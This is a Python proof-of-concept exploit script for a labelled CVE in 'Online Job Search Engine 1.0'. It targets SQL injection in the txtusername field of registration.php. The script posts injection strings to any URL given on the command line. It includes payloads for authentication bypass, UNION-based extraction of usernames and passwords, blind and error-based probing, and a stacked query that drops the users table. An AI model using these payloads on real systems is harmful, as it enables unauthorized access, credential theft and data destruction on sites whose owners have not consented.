# CVE-2025-11582 - Online Job Search Engine 1.0 SQL Injection PoC
# Vulnerable endpoint: /registration.php
# Vulnerable parameter: txtusername
# Author: Security Researcher
import requests
import sys
# Target configuration
TARGET_URL = "http://target.com/registration.php"
INJECTION_PAYLOAD = "' OR '1'='1"
def exploit_sql_injection(target_url, payload):
"""
Exploit SQL injection in txtusername parameter of registration.php
"""
# Data to be sent in POST request
data = {
"txtusername": payload,
"txtpassword": "test123",
"txtemail": "
[email protected]",
"txtphone": "1234567890",
"btnsubmit": "Submit"
}
# Send malicious request
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
try:
response = requests.post(target_url, data=data, headers=headers, timeout=10)
print(f"[+] Status Code: {response.status_code}")
print(f"[+] Response Length: {len(response.text)}")
# Check for SQL error messages or successful injection indicators
if "error" in response.text.lower() or "syntax" in response.text.lower():
print("[!] Possible SQL injection detected - error message in response")
return True
elif response.status_code == 500:
print("[!] Server error - possible SQL injection")
return True
else:
print("[*] Response received - check manually for injection success")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
# Advanced payload for database enumeration
def advanced_payloads():
"""Generate advanced SQL injection payloads for deeper exploitation"""
payloads = [
# Basic authentication bypass
"' OR '1'='1' -- ",
"' OR '1'='1' #",
"admin' -- ",
# Union-based injection
"' UNION SELECT 1,2,3,4,5 -- ",
"' UNION SELECT username,password,3,4,5 FROM users -- ",
# Boolean-based blind injection
"' AND 1=1 -- ",
"' AND 1=2 -- ",
# Time-based blind injection
"' AND SLEEP(5) -- ",
"'; WAITFOR DELAY '0:0:5' -- ",
# Error-based injection
"' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e)) -- ",
# Stacked queries
"'; DROP TABLE users -- "
]
return payloads
if __name__ == "__main__":
if len(sys.argv) > 1:
TARGET_URL = sys.argv[1]
print(f"[*] Targeting: {TARGET_URL}")
print(f"[*] Testing SQL injection in txtusername parameter...")
# Test basic injection
exploit_sql_injection(TARGET_URL, INJECTION_PAYLOAD)
# Test advanced payloads
print("\n[*] Testing advanced payloads...")
for payload in advanced_payloads():
print(f"\n[*] Testing payload: {payload}")
exploit_sql_injection(TARGET_URL, payload)